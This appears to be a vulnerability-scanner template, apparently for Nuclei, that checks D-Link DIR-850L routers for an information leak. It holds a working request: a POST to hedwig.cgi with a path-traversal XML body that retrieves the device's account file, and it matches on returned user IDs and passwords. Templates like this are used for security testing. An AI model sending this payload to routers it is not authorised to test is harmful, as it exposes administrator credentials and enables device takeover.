id: dlink-850L-info-leak

info:
  name: Dlink Dir-850L Info Leak
  author: pikpikcu
  severity: info
  reference:
    - https://xz.aliyun.com/t/2941
  metadata:
    max-request: 1
  tags: dlink

http:
  - method: POST
    path:
      - "{{BaseURL}}/hedwig.cgi"

    body: |
      <?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>

    headers:
      Cookie: uid=R8tBjwtFc8
      Content-Type: text/xml

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "</usrid>"
          - "</password>"
        part: body

# digest: 4a0a0047304502210099c3b5c97b5db2d50bb7eacedecfddfe2ad13896034a883525bb762029b2a6cd02201d185544cba2cf55badcb049d4f4d5ee8146b6ac9ad7967885778344033faab8:922c64590222798bb761d5b6d8e72950
